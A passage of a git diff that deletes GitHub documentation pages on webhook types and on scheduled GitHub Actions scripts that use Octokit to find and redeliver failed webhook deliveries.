single repository. However, you can only create up to {% ifversion ghes %}250{% else %}20{% endif %} webhooks that subscribe to each individual event type. For example, in a single repository you could only create up to {% ifversion ghes %}250{% else %}20{% endif %} different webhooks that each subscribe to the `push` event. - -You can use the {% data variables.product.github %} web interface or the REST API to manage repository webhooks. For more information, see [AUTOTITLE](/webhooks/using-webhooks/creating-webhooks#creating-a-repository-webhook), [AUTOTITLE](/webhooks/using-webhooks/editing-webhooks#editing-a-repository-webhook), and [AUTOTITLE](/webhooks/using-webhooks/disabling-webhooks#disabling-a-repository-webhook). For more information about using the REST API to manage repository webhooks, see [AUTOTITLE](/rest/webhooks). - -## Organization webhooks - -You can create webhooks in an organization to subscribe to events that occur in that organization. Organization webhooks can subscribe to events that happen in all repositories owned by the organization. They can also subscribe to events that happen at the organization level that are outside of any particular repository, like when a new member is added to the organization. - -You must be an organization owner to create and manage webhooks in an organization. - -You can create multiple webhooks in a single organization. However, you can only create up to {% ifversion ghes %}250{% else %}20{% endif %} webhooks that subscribe to each individual event type. For example, in a single organization you could only create up to {% ifversion ghes %}250{% else %}20{% endif %} different webhooks that each subscribe to the `push` event. - -You can use the {% data variables.product.github %} web interface or the REST API to manage organization webhooks. For more information, see [AUTOTITLE](/webhooks/using-webhooks/creating-webhooks#creating-an-organization-webhook), [AUTOTITLE](/webhooks/using-webhooks/editing-webhooks#editing-an-organization-webhook), and [AUTOTITLE](/webhooks/using-webhooks/disabling-webhooks#disabling-an-organization-webhook). For more information about using the REST API to manage organization webhooks, see [AUTOTITLE](/rest/orgs/webhooks). - -{% ifversion ghes or ghec %} - -## Global webhooks for {% data variables.product.prodname_enterprise %} - -Enterprise owners can create global webhooks to subscribe to events that occur within their enterprise or within organizations and repositories owned by the enterprise. - -You can create multiple webhooks in a single enterprise. However, you can only create up to {% ifversion ghes %}250{% else %}20{% endif %} webhooks that subscribe to each individual event type. For example, in a single enterprise you could only create up to {% ifversion ghes %}250{% else %}20{% endif %} different webhooks that each subscribe to the `membership` event. - -You can use the {% data variables.product.github %} web interface to manage global webhooks. For more information, see [AUTOTITLE](/webhooks/using-webhooks/creating-webhooks#creating-a-global-webhook-for-a-github-enterprise), [AUTOTITLE](/webhooks/using-webhooks/editing-webhooks#editing-a-global-webhook-for-a-github-enterprise), and [AUTOTITLE](/webhooks/using-webhooks/disabling-webhooks#disabling-a-global-webhook-for-a-github-enterprise). {% data reusables.enterprise_user_management.manage-global-webhooks-api %} - -{% endif %} - -{% ifversion fpt or ghec %} - -## {% data variables.product.prodname_marketplace %} webhooks - -You can create a webhook to subscribe to events relating to an app that you published in {% data variables.product.prodname_marketplace %}. You can only create one webhook for each app in {% data variables.product.prodname_marketplace %}. Only the owner of the app, or an app manager for the organization that owns the app, can create and manage a {% data variables.product.prodname_marketplace %} webhook. - -A {% data variables.product.prodname_marketplace %} webhook cannot be deleted, but you can deactivate it to stop receiving webhook deliveries. - -You can use the {% data variables.product.github %} web interface to manage a {% data variables.product.prodname_marketplace %} webhook. For more information, see [AUTOTITLE](/webhooks/using-webhooks/creating-webhooks#creating-a-github-marketplace-webhook), [AUTOTITLE](/webhooks/using-webhooks/editing-webhooks#editing-a-github-marketplace-webhook), and [AUTOTITLE](/webhooks/using-webhooks/disabling-webhooks#disabling-a-github-marketplace-webhook). - -## {% data variables.product.prodname_sponsors %} webhooks - -You can create webhooks to subscribe to events relating to {% data variables.product.prodname_sponsors %}. You can only create up to {% ifversion ghes %}250{% else %}20{% endif %} webhooks for a {% data variables.product.prodname_sponsors %} account. - -You must be an account owner or have admin access in the sponsored account to manage sponsorship webhooks. - -You can use the {% data variables.product.github %} web interface to manage {% data variables.product.prodname_sponsors %} webhooks. For more information, see [AUTOTITLE](/webhooks/using-webhooks/creating-webhooks#creating-a-github-sponsors-webhook), [AUTOTITLE](/webhooks/using-webhooks/editing-webhooks#editing-a-github-sponsors-webhook), and [AUTOTITLE](/webhooks/using-webhooks/disabling-webhooks#disabling-a-github-sponsors-webhook). - -{% endif %} - -## {% data variables.product.prodname_github_app %} webhooks - -You can configure a {% data variables.product.prodname_github_app %} to receive webhooks when specific events occur in a repository or organization that the app has been granted access to. - -Each {% data variables.product.prodname_github_app %} has a single webhook that is automatically created by {% data variables.product.github %}. By default, the webhook is not subscribed to any events. You can configure the events that the webhook subscribes to. A {% data variables.product.prodname_github_app %} webhook cannot be deleted, but you can deactivate it to stop receiving webhook deliveries. - -You can use the {% data variables.product.github %} web interface or the REST API to manage a {% data variables.product.prodname_github_app %} webhook. For more information, see [AUTOTITLE](/webhooks/using-webhooks/creating-webhooks#creating-webhooks-for-a-github-app), [AUTOTITLE](/webhooks/using-webhooks/editing-webhooks#editing-webhooks-for-a-github-app), and [AUTOTITLE](/webhooks/using-webhooks/disabling-webhooks#disabling-webhooks-for-a-github-app). For more information about using the REST API to manage {% data variables.product.prodname_github_app %} webhooks, see [AUTOTITLE](/rest/apps/webhooks). diff --git a/content/webhooks/using-webhooks/automatically-redelivering-failed-deliveries-for-a-github-app-webhook.md b/content/webhooks/using-webhooks/automatically-redelivering-failed-deliveries-for-a-github-app-webhook.md deleted file mode 100644 index c2c23ded569b..000000000000 --- a/content/webhooks/using-webhooks/automatically-redelivering-failed-deliveries-for-a-github-app-webhook.md +++ /dev/null @@ -1,340 +0,0 @@ ---- -title: Automatically redelivering failed deliveries for a GitHub App webhook -shortTitle: 'Automatically redeliver for {% data variables.product.prodname_github_app %}' -intro: 'You can write a script to handle failed deliveries of a {% data variables.product.prodname_github_app %} webhook.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Webhooks -layout: inline -redirect_from: - - /webhooks/using-webhooks/creating-a-script-to-automatically-redeliver-failed-deliveries-for-a-github-app-webhook ---- - -## About automatically redelivering failed deliveries - -This article describes how to write a script to find and redeliver failed deliveries for a {% data variables.product.prodname_github_app %} webhook. For more information about failed deliveries, see [AUTOTITLE](/webhooks/using-webhooks/handling-failed-webhook-deliveries). - -This example shows you: - -* A script that will find and redeliver failed deliveries for a {% data variables.product.prodname_github_app %} webhook -* What credentials your script will need, and how to store the credentials securely as {% data variables.product.prodname_actions %} secrets -* A {% data variables.product.prodname_actions %} workflow that can securely access your credentials and run the script periodically - -This example uses {% data variables.product.prodname_actions %}, but you can also run this script on your server that handles webhook deliveries. For more information, see [Alternative methods](#alternative-methods). - -## Storing credentials for the script - -The endpoints to find and redeliver failed webhooks require a JSON web token, which is generated from the app ID and private key for your app. - -The endpoints to fetch and update the value of environment variables require a {% data variables.product.pat_generic %}, {% data variables.product.prodname_github_app %} installation access token, or {% data variables.product.prodname_github_app %} user access token. This example uses a {% data variables.product.pat_generic %}. If your {% data variables.product.prodname_github_app %} is installed on the repository where this workflow will run and has permission to write repository variables, you can modify this example to create an installation access token during the {% data variables.product.prodname_actions %} workflow instead of using a {% data variables.product.pat_generic %}. For more information, see [AUTOTITLE](/apps/creating-github-apps/authenticating-with-a-github-app/making-authenticated-api-requests-with-a-github-app-in-a-github-actions-workflow). - -1. Find the app ID for your {% data variables.product.prodname_github_app %}. You can find the app ID on the settings page for your app. The app ID is different from the client ID. For more information about navigating to the settings page for your {% data variables.product.prodname_github_app %}, see [AUTOTITLE](/apps/maintaining-github-apps/modifying-a-github-app-registration#navigating-to-your-github-app-settings). -1. Store the app ID from the previous step as a {% data variables.product.prodname_actions %} secret in the repository where you want the workflow to run. For more information about storing secrets, see [AUTOTITLE](/actions/security-guides/encrypted-secrets). -1. Generate a private key for your app. For more information about generating a private key, see [AUTOTITLE](/apps/creating-github-apps/authenticating-with-a-github-app/managing-private-keys-for-github-apps). -1. Store the private key, including `-----BEGIN RSA PRIVATE KEY-----` and `-----END RSA PRIVATE KEY-----`, from the previous step as a {% data variables.product.prodname_actions %} secret in the repository where you want the workflow to run. -1. Create a {% data variables.product.pat_generic %} with the following access. For more information, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/managing-your-personal-access-tokens). - * For a {% data variables.product.pat_v2 %}, grant the token: - * Write access to the repository variables permission - * Access to the repository where this workflow will run - * For a {% data variables.product.pat_v1 %}, grant the token the `repo` scope. -1. Store your {% data variables.product.pat_generic %} from the previous step as a {% data variables.product.prodname_actions %} secret in the repository where you want the workflow to run. - -## Adding a workflow that will run the script - -This section demonstrates how you can use a {% data variables.product.prodname_actions %} workflow to securely access the credentials that you stored in the previous section, set environment variables, and periodically run a script to find and redeliver failed deliveries. - -Copy this {% data variables.product.prodname_actions %} workflow into a YAML file in the `.github/workflows` directory in the repository where you want the workflow to run. Replace the placeholders in the `Run script` step as described below. - -```yaml copy annotate -# -name: Redeliver failed webhook deliveries - -# This workflow runs every 6 hours or when manually triggered. -on: - schedule: - - cron: '40 */6 * * *' - workflow_dispatch: - -# This workflow will use the built in `GITHUB_TOKEN` to check out the repository contents. This grants `GITHUB_TOKEN` permission to do that. -permissions: - contents: read - -# -jobs: - redeliver-failed-deliveries: - name: Redeliver failed deliveries - runs-on: ubuntu-latest - steps: - # This workflow will run a script that is stored in the repository. This step checks out the repository contents so that the workflow can access the script. - - name: Check out repo content - uses: {% data reusables.actions.action-checkout %} - - # This step sets up Node.js. The script that this workflow will run uses Node.js. - - name: Setup Node.js - uses: {% data reusables.actions.action-setup-node %} - with: - node-version: '20.x' - - # This step installs the octokit library. The script that this workflow will run uses the octokit library. - - name: Install dependencies - run: npm install octokit - - # This step sets some environment variables, then runs a script to find and redeliver failed webhook deliveries. - # - Replace `YOUR_APP_ID_SECRET_NAME` with the name of the secret where you stored your app ID. - # - Replace `YOUR_PRIVATE_KEY_SECRET_NAME` with the name of the secret where you stored your private key. - # - Replace `YOUR_TOKEN_SECRET_NAME` with the name of the secret where you stored your {% data variables.product.pat_generic %}. - # - Replace `YOUR_LAST_REDELIVERY_VARIABLE_NAME` with the name that you want to use for a configuration variable that will be stored in the repository where this workflow is stored. The name can be any string that contains only alphanumeric characters and `_`, and does not start with `GITHUB_` or a number. For more information, see [AUTOTITLE](/actions/learn-github-actions/variables#defining-configuration-variables-for-multiple-workflows). - {% ifversion ghes %}# - Replace `YOUR_HOSTNAME` with the name of {% data variables.location.product_location %}.{% endif %} - - name: Run script - env: - APP_ID: {% raw %}${{ secrets.YOUR_APP_ID_SECRET_NAME }}{% endraw %} - PRIVATE_KEY: {% raw %}${{ secrets.YOUR_PRIVATE_KEY_SECRET_NAME }}{% endraw %} - TOKEN: {% raw %}${{ secrets.YOUR_TOKEN_SECRET_NAME }}{% endraw %} - LAST_REDELIVERY_VARIABLE_NAME: 'YOUR_LAST_REDELIVERY_VARIABLE_NAME' - {% ifversion ghes %}HOSTNAME: 'YOUR_HOSTNAME'{% endif %} - WORKFLOW_REPO: {% raw %}${{ github.event.repository.name }}{% endraw %} - WORKFLOW_REPO_OWNER: {% raw %}${{ github.repository_owner }}{% endraw %} - run: | - node .github/workflows/scripts/redeliver-failed-deliveries.mjs -``` - -## Adding the script - -This section demonstrates how you can write a script to find and redeliver failed deliveries. - -Copy this script into a file called `.github/workflows/scripts/redeliver-failed-deliveries.mjs` in the same repository where you saved the {% data variables.product.prodname_actions %} workflow file above. - -```javascript copy annotate -// This script uses {% data variables.product.company_short %}'s Octokit SDK to make API requests. For more information, see [AUTOTITLE](/rest/guides/scripting-with-the-rest-api-and-javascript). -import { App, Octokit } from "octokit"; - -// -async function checkAndRedeliverWebhooks() { - // Get the values of environment variables that were set by the {% data variables.product.prodname_actions %} workflow. - const APP_ID = process.env.APP_ID; - const PRIVATE_KEY = process.env.PRIVATE_KEY; - const TOKEN = process.env.TOKEN; - const LAST_REDELIVERY_VARIABLE_NAME = process.env.LAST_REDELIVERY_VARIABLE_NAME; - {% ifversion ghes %}const HOSTNAME = process.env.HOSTNAME;{% endif %} - const WORKFLOW_REPO_NAME = process.env.WORKFLOW_REPO; - const WORKFLOW_REPO_OWNER = process.env.WORKFLOW_REPO_OWNER; - - // Create an instance of the octokit `App` using the {% ifversion ghes %}app ID, private key, and hostname{% else %}app ID and private key{% endif %} values that were set in the {% data variables.product.prodname_actions %} workflow. - // - // This will be used to make API requests to the webhook-related endpoints. - const app = new App({ - appId: APP_ID, - privateKey: PRIVATE_KEY,{% ifversion ghes %} - Octokit: Octokit.defaults({ - baseUrl: "{% data variables.product.rest_url %}", - }),{% endif %} - }); - - // Create an instance of `Octokit` using the token{% ifversion ghes %} and hostname{% endif %} values that were set in the {% data variables.product.prodname_actions %} workflow. - // - // This will be used to update the configuration variable that stores the last time that this script ran. - const octokit = new Octokit({ {% ifversion ghes %} - baseUrl: "{% data variables.product.rest_url %}",{% endif %} - auth: TOKEN, - }); - - try { - // Get the last time that this script ran from the configuration variable. If the variable is not defined, use the current time minus 24 hours. - const lastStoredRedeliveryTime = await getVariable({ - variableName: LAST_REDELIVERY_VARIABLE_NAME, - repoOwner: WORKFLOW_REPO_OWNER, - repoName: WORKFLOW_REPO_NAME, - octokit, - }); - const lastWebhookRedeliveryTime = lastStoredRedeliveryTime || (Date.now() - (24 * 60 * 60 * 1000)).toString(); - - // Record the time that this script started redelivering webhooks. - const newWebhookRedeliveryTime = Date.now().toString(); - - // Get the webhook deliveries that were delivered after `lastWebhookRedeliveryTime`. - const deliveries = await fetchWebhookDeliveriesSince({lastWebhookRedeliveryTime, app}); - - // Consolidate deliveries that have the same globally unique identifier (GUID). The GUID is constant across redeliveries of the same delivery. - let deliveriesByGuid = {}; - for (const delivery of deliveries) { - deliveriesByGuid[delivery.guid] - ? deliveriesByGuid[delivery.guid].push(delivery) - : (deliveriesByGuid[delivery.guid] = [delivery]); - } - - // For each GUID value, if no deliveries for that GUID have been successfully delivered within the time frame, get the delivery ID of one of the deliveries with that GUID. - // - // This will prevent duplicate redeliveries if a delivery has failed multiple times. - // This will also prevent redelivery of failed deliveries that have already been successfully redelivered. - let failedDeliveryIDs = []; - for (const guid in deliveriesByGuid) { - const deliveries = deliveriesByGuid[guid]; - const anySucceeded = deliveries.some( - (delivery) => delivery.status === "OK" - ); - if (!anySucceeded) { - failedDeliveryIDs.push(deliveries[0].id); - } - } - - // Redeliver any failed deliveries. - for (const deliveryId of failedDeliveryIDs) { - await redeliverWebhook({deliveryId, app}); - } - - // Update the configuration variable (or create the variable if it doesn't already exist) to store the time that this script started. - // This value will be used next time this script runs. - await updateVariable({ - variableName: LAST_REDELIVERY_VARIABLE_NAME, - value: newWebhookRedeliveryTime, - variableExists: Boolean(lastStoredRedeliveryTime), - repoOwner: WORKFLOW_REPO_OWNER, - repoName: WORKFLOW_REPO_NAME, - octokit, - }); - - - // Log the number of redeliveries. - console.log( - `Redelivered ${ - failedDeliveryIDs.length - } failed webhook deliveries out of ${ - deliveries.length - } total deliveries since ${Date(lastWebhookRedeliveryTime)}.` - ); - } catch (error) { - // If there was an error, log the error so that it appears in the workflow run log, then throw the error so that the workflow run registers as a failure. - if (error.response) { - console.error( - `Failed to check and redeliver webhooks: ${error.response.data.message}` - ); - } - console.error(error); - throw(error); - } -} - -// This function will fetch all of the webhook deliveries that were delivered since `lastWebhookRedeliveryTime`. -// It uses the `octokit.paginate.iterator()` method to iterate through paginated results. For more information, see [AUTOTITLE](/rest/guides/scripting-with-the-rest-api-and-javascript#making-paginated-requests). -// -// If a page of results includes deliveries that occurred before `lastWebhookRedeliveryTime`, -// it will store only the deliveries that occurred after `lastWebhookRedeliveryTime` and then stop. -// Otherwise, it will store all of the deliveries from the page and request the next page. -async function fetchWebhookDeliveriesSince({lastWebhookRedeliveryTime, app}) { - const iterator = app.octokit.paginate.iterator( - "GET /app/hook/deliveries", - { - per_page: 100, - headers: { - "x-github-api-version": "{{ allVersions[currentVersion].latestApiVersion }}", - }, - } - ); - - const deliveries = []; - - for await (const { data } of iterator) { - const oldestDeliveryTimestamp = new Date( - data[data.length - 1].delivered_at - ).getTime(); - - if (oldestDeliveryTimestamp < lastWebhookRedeliveryTime) { - for (const delivery of data) { - if ( - new Date(delivery.delivered_at).getTime() > lastWebhookRedeliveryTime - ) { - deliveries.push(delivery); - } else { - break; - } - } - break; - } else { - deliveries.push(...data); - } - } - - return deliveries; -} - -// This function will redeliver a failed webhook delivery. -async function redeliverWebhook({deliveryId, app}) { - await app.octokit.request("POST /app/hook/deliveries/{delivery_id}/attempts", { - delivery_id: deliveryId, - }); -} - -// This function gets the value of a configuration variable. -// If the variable does not exist, the endpoint returns a 404 response and this function returns `undefined`. -async function getVariable({ variableName, repoOwner, repoName, octokit }) { - try { - const { - data: { value }, - } = await octokit.request( - "GET /repos/{owner}/{repo}/actions/variables/{name}", - { - owner: repoOwner, - repo: repoName, - name: variableName, - } - ); - return value; - } catch (error) { - if (error.status === 404) { - return undefined; - } else { - throw error; - } - } -} - -// This function will update a configuration variable (or create the variable if it doesn't already exist). For more information, see [AUTOTITLE](/actions/learn-github-actions/variables#defining-configuration-variables-for-multiple-workflows). -async function updateVariable({ - variableName, - value, - variableExists, - repoOwner, - repoName, - octokit, -}) { - if (variableExists) { - await octokit.request( - "PATCH /repos/{owner}/{repo}/actions/variables/{name}", - { - owner: repoOwner, - repo: repoName, - name: variableName, - value: value, - } - ); - } else { - await octokit.request("POST /repos/{owner}/{repo}/actions/variables", { - owner: repoOwner, - repo: repoName, - name: variableName, - value: value, - }); - } -} - -// This will execute the `checkAndRedeliverWebhooks` function. -(async () => { - await checkAndRedeliverWebhooks(); -})(); - -``` - -## Testing the script - -You can manually trigger your workflow to test the script. For more information, see [AUTOTITLE](/actions/using-workflows/manually-running-a-workflow) and [AUTOTITLE](/actions/monitoring-and-troubleshooting-workflows/using-workflow-run-logs). - -## Alternative methods - -This example used {% data variables.product.prodname_actions %} to securely store credentials and to run the script on a schedule. However, if you prefer to run this script on your server than handles webhook deliveries, you can: - -* Store the credentials in another secure manner, such as a secret manager like [Azure key vault](https://azure.microsoft.com/products/key-vault). You will also need to update the script to access the credentials from their new location. -* Run the script on a schedule on your server, for example by using a cron job or task scheduler. -* Update the script to store the last run time somewhere that your server can access and update. If you choose not to store the last run time as a {% data variables.product.prodname_actions %} secret, you do not need to use a {% data variables.product.pat_generic %}, and you can remove the API calls to access and update the configuration variable. diff --git a/content/webhooks/using-webhooks/automatically-redelivering-failed-deliveries-for-a-repository-webhook.md b/content/webhooks/using-webhooks/automatically-redelivering-failed-deliveries-for-a-repository-webhook.md deleted file mode 100644 index 336c24dfca51..000000000000 --- a/content/webhooks/using-webhooks/automatically-redelivering-failed-deliveries-for-a-repository-webhook.md +++ /dev/null @@ -1,358 +0,0 @@ ---- -title: Automatically redelivering failed deliveries for a repository webhook -shortTitle: Automatically redeliver for repository -intro: You can write a script to handle failed deliveries of a repository webhook. -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Webhooks -layout: inline -redirect_from: - - /webhooks/using-webhooks/creating-a-script-to-automatically-redeliver-failed-deliveries-for-a-repository-webhook ---- - -## About automatically redelivering failed deliveries - -This article describes how to write a script to find and redeliver failed deliveries for a repository webhook. For more information about failed deliveries, see [AUTOTITLE](/webhooks/using-webhooks/handling-failed-webhook-deliveries). - -This example shows you: - -* A script that will find and redeliver failed deliveries for a repository webhook -* What credentials your script will need, and how to store the credentials securely as {% data variables.product.prodname_actions %} secrets -* A {% data variables.product.prodname_actions %} workflow that can securely access your credentials and run the script periodically - -This example uses {% data variables.product.prodname_actions %}, but you can also run this script on your server that handles webhook deliveries. For more information, see [Alternative methods](#alternative-methods). - -## Storing credentials for the script - -The built in `GITHUB_TOKEN` does not have sufficient permissions to redeliver webhooks. Instead of using `GITHUB_TOKEN`, this example uses a {% data variables.product.pat_generic %}. Alternatively, instead of creating a {% data variables.product.pat_generic %}, you can create a {% data variables.product.prodname_github_app %} and use the app's credentials to create an installation access token during the {% data variables.product.prodname_actions %} workflow. For more information, see [AUTOTITLE](/apps/creating-github-apps/authenticating-with-a-github-app/making-authenticated-api-requests-with-a-github-app-in-a-github-actions-workflow). - -1. Create a {% data variables.product.pat_generic %} with the following access. For more information, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/managing-your-personal-access-tokens). - * For a {% data variables.product.pat_v2 %}, grant the token: - * Access to the repository where your webhook was created - * Access to the repository where this workflow will run - * Write access to the repository webhooks permission - * Write access to the repository variables permission - * For a {% data variables.product.pat_v1 %}, grant the token the `repo` scope. -1. Store your {% data variables.product.pat_generic %} as a {% data variables.product.prodname_actions %} secret in the repository where you want the workflow to run. For more information, see [AUTOTITLE](/actions/security-guides/encrypted-secrets). - -## Adding a workflow that will run the script - -This section demonstrates how you can use a {% data variables.product.prodname_actions %} workflow to securely access the credentials that you stored in the previous section, set environment variables, and periodically run a script to find and redeliver failed deliveries. - -Copy this {% data variables.product.prodname_actions %} workflow into a YAML file in the `.github/workflows` directory in the repository where you want the workflow to run. Replace the placeholders in the `Run script` step as described below. - -```yaml copy annotate -# -name: Redeliver failed webhook deliveries - -# This workflow runs every 6 hours or when manually triggered. -on: - schedule: - - cron: '20 */6 * * *' - workflow_dispatch: - -# This workflow will use the built in `GITHUB_TOKEN` to check out the repository contents. This grants `GITHUB_TOKEN` permission to do that. -permissions: - contents: read - -# -jobs: - redeliver-failed-deliveries: - name: Redeliver failed deliveries - runs-on: ubuntu-latest - steps: - # This workflow will run a script that is stored in the repository. This step checks out the repository contents so that the workflow can access the script. - - name: Check out repo content - uses: {% data reusables.actions.action-checkout %} - - # This step sets up Node.js. The script that this workflow will run uses Node.js. - - name: Setup Node.js - uses: {% data reusables.actions.action-setup-node %} - with: - node-version: '18.x' - - # This step installs the octokit library. The script that this workflow will run uses the octokit library. - - name: Install dependencies - run: npm install octokit - - # This step sets some environment variables, then runs a script to find and redeliver failed webhook deliveries. - # - Replace `YOUR_SECRET_NAME` with the name of the secret where you stored your {% data variables.product.pat_generic %}. - # - Replace `YOUR_REPO_OWNER` with the owner of the repository where the webhook was created. - # - Replace `YOUR_REPO_NAME` with the name of the repository where the webhook was created. - # - Replace `YOUR_HOOK_ID` with the ID of the webhook. - # - Replace `YOUR_LAST_REDELIVERY_VARIABLE_NAME` with the name that you want to use for a configuration variable that will be stored in the repository where this workflow is stored. The name can be any string that contains only alphanumeric characters and `_`, and does not start with `GITHUB_` or a number. For more information, see [AUTOTITLE](/actions/learn-github-actions/variables#defining-configuration-variables-for-multiple-workflows). - {% ifversion ghes %}# - Replace `YOUR_HOSTNAME` with the name of {% data variables.location.product_location %}.{% endif %} - - name: Run script - env: - TOKEN: {% raw %}${{ secrets.YOUR_SECRET_NAME }}{% endraw %} - REPO_OWNER: 'YOUR_REPO_OWNER' - REPO_NAME: 'YOUR_REPO_NAME' - HOOK_ID: 'YOUR_HOOK_ID' - LAST_REDELIVERY_VARIABLE_NAME: 'YOUR_LAST_REDELIVERY_VARIABLE_NAME' - {% ifversion ghes %}HOSTNAME: 'YOUR_HOSTNAME'{% endif %} - WORKFLOW_REPO_NAME: {% raw %}${{ github.event.repository.name }}{% endraw %} - WORKFLOW_REPO_OWNER: {% raw %}${{ github.repository_owner }}{% endraw %} - run: | - node .github/workflows/scripts/redeliver-failed-deliveries.js -``` - -## Adding the script - -This section demonstrates how you can write a script to find and redeliver failed deliveries. - -Copy this script into a file called `.github/workflows/scripts/redeliver-failed-deliveries.js` in the same repository where you saved the {% data variables.product.prodname_actions %} workflow file above. - -```javascript copy annotate -// This script uses {% data variables.product.company_short %}'s Octokit SDK to make API requests. For more information, see [AUTOTITLE](/rest/guides/scripting-with-the-rest-api-and-javascript). -const { Octokit } = require("octokit"); - -// -async function checkAndRedeliverWebhooks() { - // Get the values of environment variables that were set by the {% data variables.product.prodname_actions %} workflow. - const TOKEN = process.env.TOKEN; - const REPO_OWNER = process.env.REPO_OWNER; - const REPO_NAME = process.env.REPO_NAME; - const HOOK_ID = process.env.HOOK_ID; - const LAST_REDELIVERY_VARIABLE_NAME = process.env.LAST_REDELIVERY_VARIABLE_NAME; - {% ifversion ghes %}const HOSTNAME = process.env.HOSTNAME;{% endif %} - const WORKFLOW_REPO_NAME = process.env.WORKFLOW_REPO_NAME; - const WORKFLOW_REPO_OWNER = process.env.WORKFLOW_REPO_OWNER; - - // Create an instance of `Octokit` using the token{% ifversion ghes %} and hostname{% endif %} values that were set in the {% data variables.product.prodname_actions %} workflow. - const octokit = new Octokit({ {% ifversion ghes %} - baseUrl: "{% data variables.product.rest_url %}",{% endif %} - auth: TOKEN, - }); - - try { - // Get the last time that this script ran from the configuration variable. If the variable is not defined, use the current time minus 24 hours. - const lastStoredRedeliveryTime = await getVariable({ - variableName: LAST_REDELIVERY_VARIABLE_NAME, - repoOwner: WORKFLOW_REPO_OWNER, - repoName: WORKFLOW_REPO_NAME, - octokit, - }); - const lastWebhookRedeliveryTime = lastStoredRedeliveryTime || (Date.now() - (24 * 60 * 60 * 1000)).toString(); - - // Record the time that this script started redelivering webhooks. - const newWebhookRedeliveryTime = Date.now().toString(); - - // Get the webhook deliveries that were delivered after `lastWebhookRedeliveryTime`. - const deliveries = await fetchWebhookDeliveriesSince({ - lastWebhookRedeliveryTime, - repoOwner: REPO_OWNER, - repoName: REPO_NAME, - hookId: HOOK_ID, - octokit, - }); - - // Consolidate deliveries that have the same globally unique identifier (GUID). The GUID is constant across redeliveries of the same delivery. - let deliveriesByGuid = {}; - for (const delivery of deliveries) { - deliveriesByGuid[delivery.guid] - ? deliveriesByGuid[delivery.guid].push(delivery) - : (deliveriesByGuid[delivery.guid] = [delivery]); - } - - // For each GUID value, if no deliveries for that GUID have been successfully delivered within the time frame, get the delivery ID of one of the deliveries with that GUID. - // - // This will prevent duplicate redeliveries if a delivery has failed multiple times. - // This will also prevent redelivery of failed deliveries that have already been successfully redelivered. - let failedDeliveryIDs = []; - for (const guid in deliveriesByGuid) { - const deliveries = deliveriesByGuid[guid]; - const anySucceeded = deliveries.some( - (delivery) => delivery.status === "OK" - ); - if (!anySucceeded) { - failedDeliveryIDs.push(deliveries[0].id); - } - } - - // Redeliver any failed deliveries. - for (const deliveryId of failedDeliveryIDs) { - await redeliverWebhook({ - deliveryId, - repoOwner: REPO_OWNER, - repoName: REPO_NAME, - hookId: HOOK_ID, - octokit, - }); - } - - // Update the configuration variable (or create the variable if it doesn't already exist) to store the time that this script started. - // This value will be used next time this script runs. - await updateVariable({ - variableName: LAST_REDELIVERY_VARIABLE_NAME, - value: newWebhookRedeliveryTime, - variableExists: Boolean(lastStoredRedeliveryTime), - repoOwner: WORKFLOW_REPO_OWNER, - repoName: WORKFLOW_REPO_NAME, - octokit, - }); - - // Log the number of redeliveries. - console.log( - `Redelivered ${ - failedDeliveryIDs.length - } failed webhook deliveries out of ${ - deliveries.length - } total deliveries since ${Date(lastWebhookRedeliveryTime)}.` - ); - } catch (error) { - // If there was an error, log the error so that it appears in the workflow run log, then throw the error so that the workflow run registers as a failure. - if (error.response) { - console.error( - `Failed to check and redeliver webhooks: ${error.response.data.message}` - ); - } - console.error(error); - throw(error); - } -} - -// This function will fetch all of the webhook deliveries that were delivered since `lastWebhookRedeliveryTime`. -// It uses the `octokit.paginate.iterator()` method to iterate through paginated results. For more information, see [AUTOTITLE](/rest/guides/scripting-with-the-rest-api-and-javascript#making-paginated-requests). -// -// If a page of results includes deliveries that occurred before `lastWebhookRedeliveryTime`, -// it will store only the deliveries that occurred after `lastWebhookRedeliveryTime` and then stop. -// Otherwise, it will store all of the deliveries from the page and request the next page. -async function fetchWebhookDeliveriesSince({ - lastWebhookRedeliveryTime, - repoOwner, - repoName, - hookId, - octokit, -}) { - const iterator = octokit.paginate.iterator( - "GET /repos/{owner}/{repo}/hooks/{hook_id}/deliveries", - { - owner: repoOwner, - repo: repoName, - hook_id: hookId, - per_page: 100, - headers: { - "x-github-api-version": "{{ allVersions[currentVersion].latestApiVersion }}", - }, - } - ); - - const deliveries = []; - - for await (const { data } of iterator) { - const oldestDeliveryTimestamp = new Date( - data[data.length - 1].delivered_at - ).getTime(); - - if (oldestDeliveryTimestamp < lastWebhookRedeliveryTime) { - for (const delivery of data) { - if ( - new Date(delivery.delivered_at).getTime() > lastWebhookRedeliveryTime - ) { - deliveries.push(delivery); - } else { - break; - } - } - break; - } else { - deliveries.push(...data); - } - } - - return deliveries; -} - -// This function will redeliver a failed webhook delivery. -async function redeliverWebhook({ - deliveryId, - repoOwner, - repoName, - hookId, - octokit, -}) { - await octokit.request( - "POST /repos/{owner}/{repo}/hooks/{hook_id}/deliveries/{delivery_id}/attempts", - { - owner: repoOwner, - repo: repoName, - hook_id: hookId, - delivery_id: deliveryId, - } - ); -} - -// This function gets the value of a configuration variable. -// If the variable does not exist, the endpoint returns a 404 response and this function returns `undefined`. -async function getVariable({ variableName, repoOwner, repoName, octokit }) { - try { - const { - data: { value }, - } = await octokit.request( - "GET /repos/{owner}/{repo}/actions/variables/{name}", - { - owner: repoOwner, - repo: repoName, - name: variableName, - } - ); - return value; - } catch (error) { - if (error.status === 404) { - return undefined; - } else { - throw error; - } - } -} - -// This function will update a configuration variable (or create the variable if it doesn't already exist). For more information, see [AUTOTITLE](/actions/learn-github-actions/variables#defining-configuration-variables-for-multiple-workflows). -async function updateVariable({ - variableName, - value, - variableExists, - repoOwner, - repoName, - octokit, -}) { - if (variableExists) { - await octokit.request( - "PATCH /repos/{owner}/{repo}/actions/variables/{name}", - { - owner: repoOwner, - repo: repoName, - name: variableName, - value: value, - } - ); - } else { - await octokit.request("POST /repos/{owner}/{repo}/actions/variables", { - owner: repoOwner, - repo: repoName, - name: variableName, - value: value, - }); - } -} - -// This will execute the `checkAndRedeliverWebhooks` function. -(async () => { - await checkAndRedeliverWebhooks(); -})(); - -``` - -## Testing the script - -You can manually trigger your workflow to test the script. For more information, see [AUTOTITLE](/actions/using-workflows/manually-running-a-workflow) and [AUTOTITLE](/actions/monitoring-and-troubleshooting-workflows/using-workflow-run-logs). - 